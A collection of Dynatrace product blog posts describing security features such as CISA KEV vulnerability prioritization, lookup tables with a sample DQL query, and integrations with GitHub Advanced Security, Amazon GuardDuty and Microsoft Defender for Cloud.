The reality is that not all vulnerabilities are created equal. While a vulnerability might receive a high CVSS score based on its theoretical impact, it might never be exploited in the wild. Conversely, some vulnerabilities with moderate scores are favorite tools of threat actors and are often involved in widespread attacks and significant business impact.

This disconnect between theoretical risks and actual threats creates several challenges for organizations:

• Resource allocation inefficiencies: Teams spend valuable time patching vulnerabilities that might never be exploited, while more dangerous threats remain unaddressed.
• Alert fatigue: Security professionals become overwhelmed by the sheer volume of vulnerability notifications, which leads to critical issues being missed.
• Compliance gaps: Organizations struggle to align their security practices with federal standards and regulatory requirements.

Enhanced Vulnerability Management with CISA KEV

Dynatrace already provides a Davis Security Score, an enhanced risk-calculation score that’s based on the industry-standard CVSS. Davis® AI provides this precise risk-assessment score by considering additional parameters such as public internet exposure and whether or not data assets are reachable from an affected entity.

Now, Dynatrace has further enhanced its runtime vulnerability analytics by integrating data from the CISA KEV catalog, including the critical due dates for remediation. This addition brings a new layer of actionable intelligence to vulnerability management by unlocking the ability to prioritize actively exploited vulnerabilities.

Unlike general vulnerability databases, KEV is based on real-world exploitation data and expert analysis. Each entry is carefully vetted and includes a due date by which federal agencies must remediate the issue. This due date is not arbitrary—it reflects the urgency of the threat and the need for swift action. By aligning with KEV, Dynatrace helps organizations stay ahead of attackers by focusing on vulnerabilities that are not just theoretical but actively weaponized.

The KEV catalog is especially valuable because it’s curated by cybersecurity experts at CISA using intelligence from government, industry, and open source reporting. Customers integrating KEV into their security workflows can align with federal standards, improve risk-based prioritization, and reduce exposure to high-impact attacks.

KEV filtering and prioritization

Once you’ve turned on runtime vulnerability analytics in Dynatrace, you can filter KEV vulnerabilities in the Vulnerabilities app. The resulting view is sorted based on the remediation due date, starting with the most urgent vulnerability.

Expanding KEV support

CISA KEV data is available directly within the Vulnerabilities app, giving your teams immediate visibility into the known exploited vulnerabilities that affect their environment and the remediation date by which they must be resolved. In the future, Dynatrace will expand support for KEV data to vulnerability dashboards and automation workflows so you can visualize KEV-related risks in your custom dashboards or assign remediation tasks based on KEV due dates or exploit status.

Try KEV filtering today

This integration helps organizations align with federal security standards, improve risk-based prioritization, and reduce exposure to high-impact attacks. It’s a practical way to stay ahead of cybersecurity threats by focusing on vulnerabilities that are actively exploited.

The post Prioritize vulnerabilities based on the CISA Known Exploited Vulnerabilities Catalog appeared first on Dynatrace news.

Solving incidents or finding root causes is a time-critical activity that requires logged evidence to understand what really happened in a system. Whether to prevent such incidents from happening again or to rule out a malicious hacking attempt, getting answers is the key, and logs are your best source for getting such evidence.

However, analyzing only logs might not be enough. For example, if the incident resulted in a system crash, it would be important to also see the utilization of the system just before the incident occurred or to understand what happened in the system around utilization peaks.

This is why Dynatrace has introduced a new advanced investigation feature for Security Investigator that gives you faster insights into Performance Metrics.

Solving latency issues with metric insights

Dynatrace Security Investigator is one of the built-in apps that ships with Dynatrace. It’s designed for evidence-driven security use cases based on the logs, metrics, and traces ingested into the Dynatrace Grail® data lakehouse.

Imagine you’re performing root cause analysis on a long-running query using Security Investigator. You’ve found the logs for the request that was running for a long time, and you want to understand what the CPU utilization of the application was at the time of the request.

By simply right-clicking on the log record in your results, you can choose either the relevant pod, container, host, or any other dimension available in the log record and choose CPU utilization.

As a result, you can see the CPU utilization chart from the specific pod around the time of the log record in the context of your investigation next to your logs. You can modify the aggregation function or change the visible metric for the pod, if needed.

The red indicator on the chart shows the selected log record’s timestamp from your results table. If you choose any of the other log records in the results table, the red indicator will change its position on the chart, enabling you to update the CPU utilization chart with your log-analysis context.

Persisted throughout the case

When navigating to other query nodes in your query tree, you can still see the CPU utilization chart, enabling you to analyse other logs in the same context. For example, you might want to analyze your network flow logs from the same period and see how some network requests from the same time might be connected to the pod’s CPU usage. Selecting network flow events moves the red indicator’s position on the chart (shown as a dashed line due to different entity values).

Get started

Visit the Dynatrace Playground to see performance metrics in action or learn more about how performance metrics add relevant context to your security investigations in Dynatrace Documentation.

The post Enhanced incident response based on performance-metric insights appeared first on Dynatrace news.

Enriching observability data with additional context means improved data quality, which leads to better decision-making and faster troubleshooting. Instead of switching to an external data source and searching for a specific identifier across multiple documents, you now gain immediate insights at query time, effectively streamlining your work.

In this blog post, you’ll learn how to ingest lookup data and use it to effortlessly enrich your observability data. Practical use cases outline scenarios in which lookup data improves user workflows and makes root cause analysis and troubleshooting more efficient.

How to ingest lookup data

Lookup data files can be uploaded in formats such as CSV, JSON, or XML. You can upload data files using Workflows, via API, or by creating your own custom app. Once ingested, you can query lookup data just like any other Grail data, using Dynatrace Query Language (DQL) commands like lookup and join, or built-in Dynatrace® Apps like Dashboards, Notebooks, and Security Investigator for exploratory analytics.

In addition to an uploaded data file, you also need to provide a parse pattern written in Dynatrace Pattern Language (DPL) that defines the structure of the lookup data.

Once uploaded, you can access lookup tables via the load command. Be aware that files are organized in a directory-like structure in Grail. To make it easier to find stored files, we’ve introduced autocomplete functionality. Just start typing and jump directly to the respective file.

To learn more about supported file types, available attributes for data ingest, or the structure of parse patterns, please have a look at our documentation.

Practical use cases

Populating lookup data is a fantastic choice for enriching data with additional context in several scenarios:

• Mapping error codes in your logs to readable text for streamlined troubleshooting,
• Enriching IP addresses or IDs with respective account names to convert meaningless identifiers into meaningful qualifiers that speed up triage and root cause analysis.
• Accelerating security investigations with allow lists for security data.

Enrich your data with business context

Imagine that your system’s business-relevant events logged in Grail contain product IDs, and you’d like to enrich the IDs with the vendor’s name and some additional information from an external source.

This can easily be done with lookup tables by ingesting data containing the product and vendor information. In the example below, we use the product ID as the lookup field and enrich the business events with the mapped vendor values from the lookup table.

fetch bizevents
| lookup [ load "/lookups/vendorlist" ],
    sourceField: product.id,
    lookupField: product.id

Improved insights when working with security data

In another use case, imagine a security analyst is tasked with finding suspicious login attempts to your company’s network outside of business hours. Let’s assume corporate policy allows IT engineers to work from home any day, but that is not the case for accountants. The security analyst wants to understand which usernames belong to which role. Doing this manually would mean spending considerable time cross-referencing employees with their respective roles and manually creating filters based on usernames.

Creating a lookup table containing employees’ usernames and roles could significantly streamline this work, allowing the analyst to use external data to filter and summarize more accurate results.

Filtering for malicious IP addresses

Suppose your security analyst has obtained a list of fraudulent IP addresses from a threat intelligence feed that tracks malicious IP activity. These IP addresses are associated with spam, malware, botnets, or other malicious activities that expose your applications to potential threats.

The security analyst can now store this suspicious IP list as lookup data in Grail, update it whenever necessary, use it to detect and flag requests from any listed IP addresses, and leverage the data for further analysis in Security Investigator.

Flag TOR exit nodes

Going a step further, your security analyst can identify, flag, and track requests from TOR networks. TOR is an anonymizer that hides your tracks on the internet. By rerouting your internet activity via at least three other nodes before reaching your website, the TOR network obscures where requests originate, allowing bad actors to hide their identity and explore the internet with malicious intent.

The analyst creates a lookup table and populates it regularly with the latest list of TOR exit nodes. This data is used for further analysis, for example, in Security Investigator to detect login attempts that originate from TOR.

To utilize the Dynatrace® platform’s full power and set the TOR data in context, the analyst automates the fetching, writing, and uploading of the list of IP addresses using Workflows and visualizes the data with Dashboards.

What’s next?

Lookup tables provide a method to efficiently add context to any type of data stored in Grail. They can be used to integrate operational and transactional data, supporting your users in their day-to-day lives.

Stay tuned for further updates, such as improving our existing Snowflake Workflow Connector by adding capabilities to create and manage lookup tables, and using Security Investigator to create new lookup tables or view and filter existing tables.

Are you interested in trying out lookup tables in your own environment? This new capability is available as a public preview for all customers running the latest version of Dynatrace SaaS with an active Dynatrace Platform Subscription (DPS). It is super simple to activate; head over to our documentation to learn how.

The post Enrich your Dynatrace data with the newly introduced lookup tables appeared first on Dynatrace news.

Dynatrace integrates with GitHub Advanced Security (GHAS) to break down the silos between DevSecOps teams, unifying security findings along the Software Development Lifecycle (SDLC) and enriching them with runtime context. Dynatrace allows you to ingest, visualize, prioritize, and automate security findings, helping to reduce noise from alerts and provide focused remediation to the issues that matter to your critical production environments.

Manage vulnerabilities throughout the SDLC

As a DevSecOps best practice, application artifacts must be scanned and assessed for vulnerabilities in each relevant stage of the Software Development Lifecycle. This includes detecting vulnerabilities in your code repository early in the lifecycle of your code artifacts, vulnerabilities in your build artifacts, such as build manifests and container images, and potential vulnerabilities in your pre-production runtime environment prior to deployment to production.

GitHub is a developer platform that helps Dev teams to develop, maintain, build, and distribute their artifacts, from coding time to runtime. With a dedicated set of security capabilities delivered by GitHub Advanced Security products, developers can keep pace with security validation at each stage of the SDLC without slowing down.

Nevertheless, the number of vulnerability findings detected can be overwhelming, and prioritizing them can be tricky. This increases the risk of critical vulnerabilities slipping through the cracks between pipeline stages and exposing your production services and applications to exploitation by hackers.

This is where runtime context can help by filtering for the most important vulnerabilities and focusing your remediation efforts on the vulnerabilities that have a direct impact on your production services.

Add runtime context with Dynatrace

The Dynatrace® AI-powered observability platform monitors your applications and has all the runtime insights required to help organizations navigate through hundreds and thousands of vulnerability findings and use the runtime context to prioritize them.

Various code/build time artifacts, such as source code and container images, can be mapped to the runtime entities they affect, for example, running containers or processes. As soon as the mapping is established, you get immediate insight into how a specific vulnerability detected in a dev artifact affects your runtime environment. The observability data collected and monitored by Dynatrace on the runtime entities provides additional insights for prioritization, such as internet exposure, relationships to other services, and even ownership information.

Having the power of observability data allows SREs who are responsible for production services and applications to gain insight into the security hygiene of the DevSecOps processes and effectively communicate to the DevSecOps teams the top vulnerabilities that need to be addressed with the highest priority.

Moreover, by integrating Dynatrace into your CI/CD pipeline prior to the promotion of new services and applications to production, SREs can define security gates that prevent critical vulnerabilities from being deployed in the first place.

Integrate with GitHub Advanced Security

Dynatrace delivers GHAS integration as an extension that allows granular control over the data flow between GitHub and the Dynatrace platform. In the first version, the integration periodically fetches Dependabot alerts and audit logs from GitHub and stores them in the Dynatrace Grail data lakehouse for later analysis, visualization, and automation use cases.

Platform-native Dynatrace® Apps, such as Dashboards and Notebooks, help you visualize and analyze your security findings. Workflows, meanwhile, help you automate your response—efficiently triaging the findings, creating tickets for DevSecOps teams, and notifying the relevant stakeholders.

Dynatrace also provides several ready-made dashboards as part of the extension to serve as a starting point for security findings analysis and visualization.

• The Vulnerability findings dashboard provides an overview of vulnerability findings across various products, allowing you to centrally and uniformly prioritize them.
• The Security product coverage dashboard provides an overview of your security product coverage across various scanned artifacts to help identify coverage gaps.

What’s next

The Dynatrace integration with GitHub Advanced Security will evolve to ingest additional types of vulnerability findings beyond Dependabot alerts to extend visibility to all the security insights provided by GHAS products.

Get started

Visit our documentation pages for security events ingest to explore the full range of Dynatrace platform integrations with various DevSecOps security products.

For full details of the prerequisites and steps for setting up the GHAS integration, please go to Ingest GitHub Advanced Security security events and audit logs in Dynatrace Documentation.

The post Ingest and enrich GitHub Advanced Security vulnerability findings with Dynatrace appeared first on Dynatrace news.

Observability context is critical to prioritizing Amazon GuardDuty findings

Security remains top of mind for enterprises as the tech landscape continues to evolve, making threat detection and monitoring one of the most critical aspects of an organization’s IT strategy. Amazon GuardDuty is a threat detection service that continuously monitors an organization’s AWS accounts and workloads for malicious activity and delivers detailed security findings for visibility and remediation.

Amazon GuardDuty monitors and analyzes events and logs from various AWS services, spanning the entire cloud infrastructure, including running containers in an AWS environment.

However, teams operating in multicloud environments need more than traditional monitoring can provide. To effectively address security issues, teams need a unified monitoring platform to prioritize and efficiently respond to various threats.

Moreover, findings can come from various types of environments, including development, testing, and production. This increases the number of findings to prioritize, increasing the amount of noise, along with the probability of missing critical issues.

Additional runtime and organizational context are required to efficiently filter out the less important findings and focus on the critical issues that directly affect sensitive services and applications.

Reduce alert noise and prioritize critical issues with runtime context

The Dynatrace AI-powered observability platform integrates with Amazon GuardDuty to bring its valuable security findings into the Dynatrace Grail® data lakehouse.

Leveraging OpenPipeline®, the integration processes and maps security findings to a unified data format, making it uniformly accessible for analysis across tools and cloud environments.

Platform-native Dynatrace® Apps, such as Dashboards, Notebooks, and Security Investigator, help you visualize and analyze your security findings. The Workflows app, meanwhile, helps you automate your response—efficiently triaging the findings, creating tickets for DevSecOps teams, and notifying the relevant stakeholders without manual intervention that could slow down the distribution process and tie down your resources.

The Threats and Exploits app serves as your starting point for consuming the ingested findings and as a guide for exploring the potential impact of each detection.

Additionally, Dynatrace allows teams to contextualize ingested security findings with the additional runtime context. This context helps to better filter incoming findings and further reduce the number of alerts handled by various security teams. This way, teams stay focused on the issues that really matter to your critical services and applications.

Breaking down the Amazon GuardDuty and Dynatrace integration

The Amazon GuardDuty integration leverages Amazon EventBridge and AWS Lambda as the transit points for forwarding the various security findings to Dynatrace. The ingested events are processed in OpenPipeline, mapped to Dynatrace semantic conventions, and stored in Grail in a unified security event data model.

The integration provides easy-to-follow steps for setting up the integration and monitoring capabilities to ensure the integration runs properly.

Teams can easily access the ingested security findings using various platform-native apps that help them accomplish various use cases.

Dynatrace also provides several ready-made artifacts as part of the application to serve as a starting point for analysis and automation, including the following:

• Sample dashboards visualize your security findings and assess monitoring coverage.
• Sample workflows automate the orchestration of critical findings by creating notifications and tickets.

Take the next step with Dynatrace and Amazon GuardDuty

With Dynatrace AI-powered observability context added to Amazon GuardDuty findings, SRE and security teams can now filter out noisy alerts and focus their efforts on the most impactful critical issues.

As the Amazon GuardDuty integration evolves, it will provide additional context that’s mapped and easily accessible in Dynatrace Query Language and available in the Threats and Exploits app.

For more information about how to ingest Amazon GuardDuty security findings, check out our documentation.

The post Ingest and enrich Amazon GuardDuty security findings with Dynatrace appeared first on Dynatrace news.

Modern organizations are often overwhelmed by security alerts, making it nearly impossible for them to determine what to prioritize and how to identify an issue’s root cause. That’s why the Dynatrace® AI-powered observability platform integrates with Microsoft Defender for Cloud to centralize security findings from across an organization’s tools and environments.

This unified view allows automated workflows and clearer visualization of security issues. Dynatrace enriches security findings with application runtime context, helping DevSecOps teams cut through alert noise and focus on fixing the issues that actually affect production.

Prioritize and focus on critical security findings

Microsoft Defender for Cloud is a cloud native application protection platform (CNAPP) that includes security measures and practices designed to protect cloud-based applications from various cyber threats and vulnerabilities.

It offers multiple security capabilities, including container image scanning, workload protection, and posture management. While Microsoft Defender for Cloud integrates with other cloud platforms, its focus and expertise remain within the Microsoft ecosystem.

Analyzing security findings in a multicloud environment poses a core challenge: how to gain a centralized view and prioritize findings from numerous tools and across different cloud platforms. This complexity is amplified in environments with mixed findings from development, testing, and production, increasing the risk of critical issues being overlooked.

To overcome this, organizations need more than just a centralized platform for security findings; runtime context is essential to identifying and focusing on critical issues affecting sensitive services and applications.

Add runtime context to Microsoft Defender for Cloud findings

The future of multicloud security lies in context-driven protection that automatically correlates findings across cloud platforms while applying runtime intelligence to prioritize threats based on actual business impact. The question isn’t whether to consolidate security operations; it’s how quickly organizations can transform fragmented alerts into actionable intelligence before threats move seamlessly across their hybrid infrastructure.

The Dynatrace AI-powered observability platform integrates with Microsoft Defender for Cloud, ingesting critical security findings—including vulnerability detections and security alerts—into the Dynatrace Grail® data lakehouse. This integration leverages OpenPipeline® to process and map these diverse security findings into a unified data format, thereby enabling consistent analysis across all tools and cloud environments.

Once in Dynatrace, platform-native applications like Dashboards, Notebooks, and Security Investigator provide powerful visualization and analysis capabilities. Furthermore, the Workflows app automates the triaging of findings, streamlines ticket creation for DevSecOps teams, and ensures timely stakeholder notifications.

Crucially, Dynatrace enhances these capabilities by allowing teams to enrich security findings with runtime context. This additional layer of context is instrumental in refining filters for incoming findings, which dramatically reduces the noise for security teams. Ultimately, this empowers them to concentrate their efforts on the issues that pose a genuine threat to their critical services and applications.

How the integration works

The Microsoft Defender for Cloud integration leverages Azure Event Hubs and Azure Functions as transit points for forwarding the various security findings to Dynatrace. The ingested events are processed in OpenPipeline, mapped to Dynatrace semantic conventions, and stored in Grail in a unified security event data model.

Integrating Dynatrace with Microsoft Defender for Cloud is easy, with step-by-step directions. You even get in-depth monitoring capabilities to ensure the integration runs properly.

Once the integration is set up and running, teams can easily access security findings using various Dynatrace platform-native apps, such as Dashboards, Notebooks, Security Investigator, Workflows, and more.

Additionally, Dynatrace provides several ready-made artifacts to serve as your analysis and automation starting point:

• Access sample dashboards to visualize security findings and assess the coverage.
• Use sample workflows to automate the orchestration of critical findings by creating notifications and tickets.

Take Microsoft Defender for Cloud findings to the next level with Dynatrace

The Microsoft Defender for Cloud integration represents a significant step forward in unifying security and observability data on the Dynatrace platform. As this integration continues to evolve, expanding support for vulnerability detection and compliance findings, you’ll gain unprecedented visibility into your security posture alongside metrics for application performance.

By ingesting and enriching Microsoft Defender data within Dynatrace, alongside many other security data ingests, teams can break down traditional silos between security and operations, enabling faster incident response and more informed decision-making. The centralized view of both security events and performance data creates opportunities for correlation that were previously difficult to achieve using disparate toolsets.

For detailed setup instructions, read how to Ingest Microsoft Defender for Cloud security events.

The post Ingest and enrich Microsoft Defender for Cloud findings with Dynatrace appeared first on Dynatrace news.

Traditional security tools can’t keep up with today’s cloud- and AI-native environments. Built for static corporate IT, they struggle with the highly dynamic, short-lived workloads behind modern digital services. Securing critical applications within each organization’s digital environments requires a new approach: one that protects production in real-time and brings end-to-end observability context into AI-powered security analytics. AI-powered Dynatrace Cloud Security meets this need and corresponds to what the market recognizes as Cloud Application Detection and Response (CADR).

Why traditional security falls short for modern workloads

Incomplete security controls: Our analytics shows that many organizations still have blind spots, risking critical vulnerabilities, and are exposed to significant attack paths despite the multiple existing security controls and tools in place. For example, 50% of Fortune 500 companies are still vulnerable to Spring4Shell vulnerability. Applications—often the main revenue drivers—remain one of the top sources of risk, frequently exploited for initial access.

Outdated compliance practices: Traditional quarterly or annual audits are becoming obsolete; auditors now validate continuous compliance, even between scheduled audits. Compliance is tightly connected to correctly configured systems, demanding real-time configuration analytics, specifically for rapidly changing cloud environments.

Rules and regulations on breach hygiene: Modern regulations (e.g., GDPR requirements in Europe or SEC in the US) demand near-instant reporting of breaches or even suspected breaches within 48 to 72 hours. Organizations need continuous, real-time insights and monitoring, not delayed, point-in-time reports derived from static log archives.

Ineffective threat detection: XDRs and SIEMs (predominantly optimized for corporate assets such as laptops, phones, email, and Office365) often lack the deep, real-time runtime visibility needed for dynamic environments like containers, microservices, and serverless functions. Gartner reviews highlight a gap in real-time, context-aware visibility for dynamic environments. These workloads require tailored, context-aware detections and the ability to investigate across ephemeral components that disappear within minutes, closing the coverage blind spot.

CADR: Security for cloud- and AI-natives

As organizations shift to the cloud, the focus has increasingly centered on securing containerized applications and microservices: the core of modern digital services. Security teams need real-time runtime protection that empowers them to take immediate, autonomous action. Unlike traditional tools that generate isolated alerts, CADR provides rich application context, enabling security operations to understand the full story behind an incident, from exploitability to understanding the impact of the attack. While the CADR market is still emerging, it represents the need to focus on applications and their underlying infrastructure at runtime. This represents a natural evolution and strategic refinement of the Cloud Native Application Protection Platform (CNAPP) category.

Application and SRE teams need to be able to make cloud security alerts operational by simplifying incident response and enabling the SOC to act with clarity and speed. Numerous tools address the various security threats and their types. However, the solution isn’t to pile up even more tools to cover each threat. Rather, it’s smarter analytics of unified data brought into context. This is where the convergence of observability and security brings the foundational difference, through end-to-end coverage including real-time analytics for logs, traces, user behavior, security events, topology, and more.

The biggest barrier to effective threat response in the cloud is the lack of unified context. Application and security teams often operate without full visibility into how threats impact the broader digital service environment, business objectives, or operational ownership. Making cloud security truly actionable requires converging it with observability. Only by combining deep, real-time insights into application behavior, context and topology information, infrastructure performance, and user interactions can organizations prioritize threats accurately, identify the right teams to respond, and automate remediation with minimal human intervention. This convergence ensures the speed and precision needed to reduce risk before it escalates. It also provides entirely new indicators of compromise, impossible without observability context.

The true value of leveraging a unified platform is coverage across the attack steps from initial access, over lateral movement, to exfiltration, with the additional benefit of coverage for MITRE ATT&CK as well as MITRE ATLAS. Dynatrace implements a layered security approach by leveraging full-stack observability, real user monitoring, and automatic log collection to evolve how organizations identify indicators of compromise and achieve comprehensive coverage. These efforts are further empowered by analytics using Dynatrace Query Language (DQL) on Grail and AutomationEngine. By that, Dynatrace not only provides security findings across the full stack but adds response automation, threat detection, and investigation on top of a combined security, observability, and threat intel data set. The Dynatrace MCP server makes runtime findings accessible for both agentic AI remediation automation and information distribution. This brings, for example, runtime vulnerability remediation into the developer’s IDE.

Convergence of observability and security enables improved CADR

Leveraging the abilities of AI-powered unified observability and security, Dynatrace CADR integrates the following three critical security capabilities to secure modern applications and their infrastructure:

Threat Detection & Investigation (TDI)

• Leverages our powerful Grail data lakehouse, Logs app, and Security Investigator capabilities to analyze security and observability data in full context. Dynatrace log management enables seamless ingestion, indexing, and querying of massive volumes of log data with lightning-fast performance and low overhead. Combined with ingested threat intelligence data, ingested third-party findings, and Dynatrace’s own security findings, this empowers real-time, high-fidelity threat detection and investigation, even across ephemeral and dynamic workloads. Together, these capabilities facilitate proactive threat hunting, deep forensics, and accelerated root cause analysis.

Runtime Vulnerability & Exposures Analytics (RVA) + Runtime Application Protection (RAP)

• Pinpoints and prioritizes vulnerabilities and exposures in real time across applications, infrastructure, and operating systems.
• Blocks malicious traffic from within the application at runtime, using rich observability context to trace threats from entry to impact and prevent exploitation (RAP).

Security Posture Management (SPM)

• Continuously detects misconfigurations, standards compliance violations, and security policy issues that attackers exploit for persistence and privilege escalation.
• Supports modern compliance needs by providing real-time status and reporting capabilities, crucial for adhering to strict reporting deadlines required by regulations.

+ Agentic AI response automation & integration

• Automates remediation workflows through seamless integration with CI/CD pipelines and ITSM tools, reducing the window of exposure and operational friction.
• Enables operationalization in organizations, allowing developers to fix vulnerabilities (Dev, e.g. connecting into the IDE via the Dynatrace MCP server), SREs to fix config issues, and SecOps teams to create detections and act on findings, all within familiar contexts and workflows.

+ AI-powered contextual risk prioritization

• Dynatrace’s causal AI, when leveraged for security solutions, understands the risks thanks to the vector graph, Smartscape, that prioritizes issues based on real-time topology knowledge and access to the various attack paths. It also leverages intelligent automation for tasks such as automatically disqualifying false positives and automatically dispatching positives of vulnerabilities to responsible development teams for remediation.

A realistic attack path, and how Dynatrace stops it

Attackers typically follow a path when targeting modern applications.

1. Initial access: Attackers often gain access by exploiting application vulnerabilities. Dynatrace already monitors these applications for availability and performance; adding security capabilities is a simple extension. Runtime Vulnerability Analytics (RVA)/Runtime Application Protection (RAP) identifies and prevents exploitation at runtime.
2. Persistence & privilege escalation: Attackers use misconfigurations or compliance gaps to maintain access and escalate privileges within the environment. Dynatrace Security Posture Management (SPM) identifies these risks in real time.
3. Discovery & exfiltration: Attackers discover sensitive data and attempt to exfiltrate it. Dynatrace Threat Detection and Investigation (TDI) detects and investigates suspicious behaviour using deep observability context, providing full traceability.

By integrating RVA/RAP, SPM, and TDI, Dynatrace CADR offers a comprehensive, unified approach that maps directly to these attack stages, allowing you to detect, respond to, and manage security risks effectively across your modern workloads.

Final thoughts: Why CADR is the logical next step

• Organizations can’t secure what they can’t see. Dynatrace not only delivers complete visibility into digital environments but also maps the dependencies between assets, providing critical topology insights. By leveraging layered security insights and converging observability and security, Dynatrace makes securing modern applications actionable, automated, and accessible to the teams who already use Dynatrace for observability, having security deeply integrated.
• Whether consolidating basic log management or needing advanced runtime threat detection, Dynatrace offers the platform to address these needs.
• CADR is the natural next step for any Dynatrace customer running modern workloads and the fastest path to proactive, real-time cloud application security for any organization facing the unique challenges of the modern attack surface.

The post Dynatrace Cloud Security and CADR: Revolutionizing cloud security with observability context appeared first on Dynatrace news.